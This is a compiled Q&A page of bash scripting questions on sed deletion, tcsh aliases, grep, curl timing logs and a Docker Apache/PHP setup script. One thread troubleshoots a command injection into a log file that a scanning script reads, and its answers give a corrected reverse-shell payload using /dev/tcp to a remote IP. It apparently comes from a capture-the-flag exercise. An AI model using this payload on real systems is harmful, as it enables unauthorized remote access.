"sed delete" command in bash not always work - bash

With the code:
#!/bin/bash
echo 'if [ -f /etc/skel/.bashrc ]; then . /etc/skel/.bashrc; fi' >> ~/.bashrc
echo 'enable -n echo' >> ~/.bashrc
echo "alias cls=\"echo -en '\033c\033[3J'\"" >> ~/.bashrc
echo "alias cmdlist='compgen -c | sort -b'" >> ~/.bashrc
sed -i '/if [ -f /etc/skel/.bashrc ]; then . /etc/skel/.bashrc; fi/d' ~/.bashrc
sed -i '/enable -n echo/d' ~/.bashrc
sed -i "/alias cls=\"echo -en '\033c\033[3J'\"/d" ~/.bashrc
sed -i "/alias cmdlist='compgen -c | sort -b'/d" ~/.bashrc
I expect an empty file .bashrc, instead it contains:
if [ -f /etc/skel/.bashrc ]; then . /etc/skel/.bashrc; fi
alias cls="echo -en '\033c\033[3J'"
Why?

I have solved it thanks to Poshi!
#!/bin/bash
echo 'if [ -f /etc/skel/.bashrc ]; then . /etc/skel/.bashrc; fi' >> ~/.bashrc
echo 'enable -n echo' >> ~/.bashrc
echo "alias cls=\"echo -en '\033c\033[3J'\"" >> ~/.bashrc
echo "alias cmdlist='compgen -c | sort -b'" >> ~/.bashrc
sed -i '/if \[ -f \/etc\/skel\/.bashrc \]; then . \/etc\/skel\/.bashrc; fi/d' ~/.bashrc
sed -i '/enable -n echo/d' ~/.bashrc
sed -i "/alias cls=\"echo -en '\\\033c\\\033\[3J'\"/d" ~/.bashrc
sed -i "/alias cmdlist='compgen -c | sort -b'/d" ~/.bashrc

Related

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

convert alias command from tcsh to bash

I'm new to bash.
I want to convert below alias command form tcsh to bash:
alias buzz 'echo \!$;if (-e ~/.sshelp.txt) grep -i \!$ ~/.sshelp.txt && echo \!$;if (-e ~/.sshelp_qct.txt) grep -i \!$ ~/.sshelp_qct.txt '
I tried below command but it doesn't work. Any suggestions?
alias buzz= 'echo \!$;if (-e ~/.sshelp.txt) grep -i \!$ ~/.sshelp.txt && echo \!$;if (-e ~/.sshelp_qct.txt) grep -i \!$ ~/.sshelp_qct.txt '
Define a function in bash. C shells define aliases because they don't support functions. I think the following is (roughly) equivalent.
buzz () {
echo "$1"
if [ -e ~/.sshelp.txt ]; then
grep -i "$1" ~/.sshelp.txt && echo "$1"
fi
echo "$1"
if [ -e ~/.sshelp_qct.txt ]; then
grep -i "$1" ~/.sshelp_qct.txt
fi
}

Grep is not showing results even i used fgrep and -f options

I have used the below content to fetch some values .
But the grep in the code is not showing any results.
#!/bin/bash
file=test.txt
while IFS= read -r cmd;
do
check_address=`grep -c $cmd music.cpp`
if [ $check_address -ge 1 ]; then
echo
else
grep -i -n "$cmd" music.cpp
echo $cmd found
fi
done < "$file"
Note : there are no carriage return in my text file or .sh file.
i checked using
bash -x check.sh
It is just showing
+grep -i -n "$cmd" music.cpp

Bash: execute command repeatedly and write output tab seperated to file

I want my file to Log like that:
Time_Namelookup: 0,1 0,2 0,12 0,45 ...
Time_Connect: 0,34 0,23 0,23 0,11 ...
Time_Starttransfer: 0,9 0,23 0,12 ...
I want that Values are added to their specific line every n seconds.
I got a code like this:
while [ "true" ]
do
echo "Time_Namelookup:" >> $file
curl -w "%{time_namelookup}\t" -o /dev/null -s https://website.com/
echo "Time_connect" >> $file
curl -w "%{time_connect}\t" -o /dev/null -s https://website.com/
echo "Time_Starttransfer:" >> $file
curl -w "%{time_starttransfer}\t" -o /dev/null -s https://website.com/
sleep 5
done
But I get something like
Time_Namelookup: 0,1
Time_Connect: 0,34
Time_Starttransfer: 0,9
Time_Namelookup: 0,2
Time_Connect:0,23 0,23
Time_Starttransfer: 0,23
Time_Namelookup: 0,45
Time_Connect: 0,11
Time_Starttransfer: 0,12
Can you help me ?
You could put this inside your loop
if [ ! -f $file ]; then
echo "Time_Namelookup:" > $file
echo "Time_Connect:" >> $file
echo "Time_Starttransfer:" >> $file
fi
name_lookup=$(curl -w "%{time_namelookup}\t" -o /dev/null -s https://website.com/)
connect=$(curl -w "%{time_connect}\t" -o /dev/null -s https://website.com/)
starttransfer=$(curl -w "%{time_starttransfer}\t" -o /dev/null -s https://website.com/)
sed -i -e "s/\(Time_Starttransfer:.*\)/\1 $starttransfer/" \
-e "s/\(Time_Connect:.*\)/\1 $connect/" \
-e "s/\(Time_Starttransfer:.*\)/\1 $starttransfer/" \
$file
you can try this;
file=yourFile
echo "Time_Namelookup :" >> $file
echo "Time_Connect :" >> $file
echo "Time_Starttransfer:" >> $file
while [ "true" ]
do
time_namelookup=$(curl -w "%{time_namelookup}\t" -o /dev/null -s https://website.com/)
time_connect=$(curl -w "%{time_connect}\t" -o /dev/null -s https://website.com/)
time_starttransfer=$(curl -w "%{time_starttransfer}\t" -o /dev/null -s https://website.com/)
sed -i "/Time_Namelookup :/s/$/\t$time_namelookup/" $file
sed -i "/Time_Connect :/s/$/\t$time_connect/" $file
sed -i "/Time_Starttransfer:/s/$/\t$time_starttransfer/" $file
sleep 5
done
sed -i : to be edited in-place.
The following part is to find "Time_Namelookup :" in the file.
/Time_Namelookup :/
/s/$/\t$time_namelookup/"
s :substitute command
/../../ :delimiter
$ :end of line character.
\t$time_namelookup: to append tab and the value.

How to create a bash script file in Docker?

I wrote a script that the task is to create a text file and write into two lines.
This has been done, but more than once and I do not understand why because the script file does not contain any cycle and once the file is executed.
#!/bin/bash
<other, non-relevant variables and commands>
PHP_ROOT_DIR=/etc/php-5.6.22
PHP_CGI_WRAPPER=php-5622
mkdir -p $(dirname $0)/cgi-bin
touch $(dirname $0)/cgi-bin/$PHP_CGI_WRAPPER
echo -e "#!/bin/bash" >> $(dirname $0)/cgi-bin/$PHP_CGI_WRAPPER
echo -e "exec ${PHP_ROOT_DIR}/bin/php-cgi" >> $(dirname $0)/cgi-bin/$PHP_CGI_WRAPPER
<other, non-relevant variables and commands>
exit 0
output file content:
#!/bin/bash
exec /etc/php-5.6.22/bin/php-cgi
#!/bin/bash
exec /etc/php-5.6.22/bin/php-cgi
#!/bin/bash
exec /etc/php-5.6.22/bin/php-cgi
Update:
This result occurs when run Docker container.
If I reduce my script to only of above part (removed non-relevant code parts), then working correctly on host OS and Docker in a container equally.
But the problem is still not fixed.
full version script file is this:
#!/bin/bash
source $(dirname $0)/create_vhost_config.sh
source $(dirname $0)/create_sample_html.sh
IP=$(ip route get 1 | awk '{print $NF;exit}')
SRC_DIR=/usr/local/src
HTTPD_VERSION=2.4.20
HTTPD_ROOT_DIR=/etc/apache2
HTTPD_CONF_FILE=/etc/apache2/conf/apache2.conf
PHP_VERSION=5.6.22
PHP_ROOT_DIR=/etc/php-5.6.22
PHP_CGI_WRAPPER=php-5622
for i in 1 2
do
mkdir -p /var/www/vhosts/test$i/public
mkdir -p /var/www/vhosts/test$i/log
create_html ${IP} "test$i" "/var/www/vhosts/test$i/public/index.html"
create_php_info "/var/www/vhosts/test$i/public/index.php"
create_simple_vhost "test$i" "$HTTPD_ROOT_DIR/conf/conf.d/test$i.home.conf"
done
# add PHP handler to Apache configuration
sed -i -e 's# DirectoryIndex index.html# DirectoryIndex index.php index.html#g' $HTTPD_CONF_FILE
echo -e "\n<FilesMatch \"\.php$\">" >> $HTTPD_CONF_FILE
echo -e "\tSetHandler application/x-httpd-php" >> $HTTPD_CONF_FILE
echo -e "</FilesMatch>" >> $HTTPD_CONF_FILE
$HTTPD_ROOT_DIR/bin/apachectl restart
# *************************************** Creating PHP-CGI wrappers ***************************************
mkdir -p /var/www/cgi-bin
touch /var/www/cgi-bin/$PHP_CGI_WRAPPER
echo -e "#!/bin/bash" >> /var/www/cgi-bin/$PHP_CGI_WRAPPER
echo -e "exec ${PHP_ROOT_DIR}/bin/php-cgi" >> /var/www/cgi-bin/$PHP_CGI_WRAPPER
#restart apache
chmod -R +x /var/www/cgi-bin/
# *************************************** Configure with mod_cgi/mod_cgid ***************************************
sed -i -e 's##LoadModule cgid_module modules/mod_cgid.so#LoadModule cgid_module modules/mod_cgid.so#g' $HTTPD_CONF_FILE
sed -i -e 's##LoadModule actions_module modules/mod_actions.so#LoadModule actions_module modules/mod_actions.so#g' $HTTPD_CONF_FILE
echo -e "\nScriptAlias /php/ /var/www/cgi-bin/" >> $HTTPD_CONF_FILE
echo -e "<Directory /var/www/cgi-bin/>" >> $HTTPD_CONF_FILE
echo -e "\tRequire all granted" >> $HTTPD_CONF_FILE
echo -e "</Directory>" >> $HTTPD_CONF_FILE
rm -rf $HTTPD_ROOT_DIR/conf/conf.d/*
for i in 1 2
do
create_mod_cgi_conf "test$i" "/php/php-5622" "$HTTPD_ROOT_DIR/conf/conf.d/test$i.home.conf"
done
$HTTPD_ROOT_DIR/bin/apachectl restart
# *************************************** Configure with mod_fcgid ***************************************
cd $SRC_DIR
wget http://xenia.sote.hu/ftp/mirrors/www.apache.org//httpd/mod_fcgid/$(wget -O- http://xenia.sote.hu/ftp/mirrors/www.apache.org//httpd/mod_fcgid/ | egrep -o 'mod_fcgid-[0-9\.]+.tar.gz' | sort -V | tail -1)
tar -xf mod_fcgid-[0-9].[0-9].[0-9].tar.gz
cd mod_fcgid-[0-9].[0-9].[0-9]
APXS=/etc/apache2/bin/apxs ./configure.apxs
make -j"$(nproc)"
make install
rm -rf $HTTPD_ROOT_DIR/conf/conf.d/*
for i in 1 2
do
create_mod_fcgid_conf "test$i" "php-5622" "$HTTPD_ROOT_DIR/conf/conf.d/test$i.home.conf"
done
$HTTPD_ROOT_DIR/bin/apachectl restart
# Configure with FPM
find /var/www/vhosts/test*/public/ -exec chown daemon:daemon {} +
sed -i -e 's##LoadModule proxy_module modules/mod_proxy.so#LoadModule proxy_module modules/mod_proxy.so#g' $HTTPD_CONF_FILE
sed -i -e 's##LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so#LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so#g' $HTTPD_CONF_FILE
echo "include=etc/fpm.d/*.conf" >> $PHP_ROOT_DIR/etc/php-fpm.conf
cp $SRC_DIR/php-$PHP_VERSION/sapi/fpm/init.d.php-fpm $PHP_ROOT_DIR/sbin/php-fpmd
chmod 0700 $PHP_ROOT_DIR/sbin/php-fpmd
find /var/www/vhosts/test*/public/ -exec chown www-data:www-data {} +
rm -rf $PHP_ROOT_DIR/etc/fpm.d/*
rm -rf $HTTPD_ROOT_DIR/conf/conf.d/*
for i in 1 2
do
create_php_fpmd_conf "test$i.home" "$IP" 5000$i "$PHP_ROOT_DIR/etc/fpm.d/test$i.home.conf"
create_fpm_conf "test$i" "$IP" 5000$i "$HTTPD_ROOT_DIR/conf/conf.d/test$i.home.conf"
done
$HTTPD_ROOT_DIR/bin/apachectl restart
$PHP_ROOT_DIR/sbin/php-fpmd start
# install Composer for PHP
cd /tmp
$PHP_ROOT_DIR/bin/php -r "readfile('https://getcomposer.org/installer');" | $PHP_ROOT_DIR/bin/php
mv composer.phar /usr/local/bin/composer
$HTTPD_ROOT_DIR/bin/apachectl restart
$PHP_ROOT_DIR/sbin/php-fpmd restart
#install PHP-PEAR
cd $SRC_DIR && \
wget http://pear.php.net/go-pear.phar -O go-pear.phar
$PHP_ROOT_DIR/bin/php go-pear.phar
$HTTPD_ROOT_DIR/bin/apachectl restart
$PHP_ROOT_DIR/sbin/php-fpmd restart
#install XDebug
setterm -bold on
cd $SRC_DIR
wget https://xdebug.org/files/$(wget -O- https://xdebug.org/files/ | egrep -o 'xdebug-[0-9\.]+.tgz' | sort -V | tail -1)
tar -xvf xdebug-[0-9].[0-9].[0-9].tgz
cd xdebug-[0-9].[0-9].[0-9]
$PHP_ROOT_DIR/bin/phpize
./configure --enable-xdebug --with-php-config=$PHP_ROOT_DIR/bin/php-config
make -j"$(nproc)"
make install
echo $(find / -type d -name no-debug-zts*)/xdebug.so >> $PHP_ROOT_DIR/etc/php.ini
$HTTPD_ROOT_DIR/bin/apachectl restart
$PHP_ROOT_DIR/sbin/php-fpmd restart
exit 0
Change this:
echo -e "#!/bin/bash" >> $(dirname $0)/cgi-bin/$PHP_CGI_WRAPPER
to this:
echo -e "#!/bin/bash" > $(dirname $0)/cgi-bin/$PHP_CGI_WRAPPER
io-redirection

Resources